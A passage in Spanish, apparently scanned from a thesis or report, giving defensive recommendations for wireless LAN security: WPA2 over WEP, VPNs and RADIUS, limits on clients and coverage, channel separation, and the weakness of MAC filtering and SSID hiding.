lugar filtrado y también es recomendable contar con una red tradicional
(cableada), ya que los ataques de interceptacion o interferencia del medio
inalambrico (radio-frecuencia), asi como los ataques de bajo nivel de
operacion (burla del estandar 802.11, de-asociacion falsa, etc.) siguen

siendo una amenaza latente para las redes inalambricas de &rea local.

2. El cifrado WEP deberia de utilizarse solamente en comunicaciones
domésticas y donde no se transmita informacién confidencial critica, como
las comunicaciones corporativas, puesto que este cifrado es completamente
vulnerable y relativamente débil, por lo que se recomienda utilizar soluciones
de alto nivel como Redes Privadas Virtuales (VPN), cifrado WPA2 y un
servidor Radius para la generacion de claves, en donde se transmita

informacion critica.

3. Los routers inalambricos o puntos de acceso, pueden tener muchos clientes
que se conecten a la red, sin embargo, mientras mas clientes estén
conectados, menor serd el rendimiento de la red. El nUmero de clientes
recomendado para un Access Point o Router inalambrico es de 18 a 20

estaciones.

4. El equipo utilizado para las redes inalambricas de area local generalmente
esta disefiado para cubrir cierta extensién de un espacio al aire libre, debe
considerarse que su utilizacion en espacios cerrados o medios que limiten
una vista directa (contacto en linea recta sin interferencia) entre dos equipos

inalambricos, tendra como efecto una cobertura menor. También es
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necesario que se considere cubrir Unicamente el area deseada, pues al
extender la sefial hasta lugares donde no se requiere puede provocar que

extrafios escuchen, rastreen y posiblemente ataquen la red.

Las redes Wi-Fi funcionan en una frecuencia determinada (2,4 Ghz), y
poseen canales de funcionamiento (un total de 11, del 1 al 11). Al igual que
las radiofrecuencias de radio, existen interferencias entre frecuencias
cercanas. De la misma forma, cuando se instalen mas de un Access Point,
se recomienda cambiar los canales de funcionamiento, de manera que
queden lo méas lejanos posibles. Generalmente los Access Point vienen

configurados en el canal 1 6 6.

Encriptar datos a nivel de capa de enlace (cifrados WEP, WPA y WPA2) ha
sido utilizada como una medida de seguridad comun. Lamentablemente esta
practica no asegura la confidencialidad punto a punto. Si se requiere
seguridad a nivel de capa de enlace, ademas de evitarse el uso de WEP,
deberia implementarse el uso de IEEE 802.11i (WPA2).

Implementar VLANS, filtrado de direcciones MAC o eliminacion del anuncio
del SSID, brindan medidas de seguridad adicional al método de
autenticacion, pero actualmente existen programas para burlar estas
restricciones, por lo que usar estas técnicas no son métodos suficientemente

seguros para asegurar una red WLAN.
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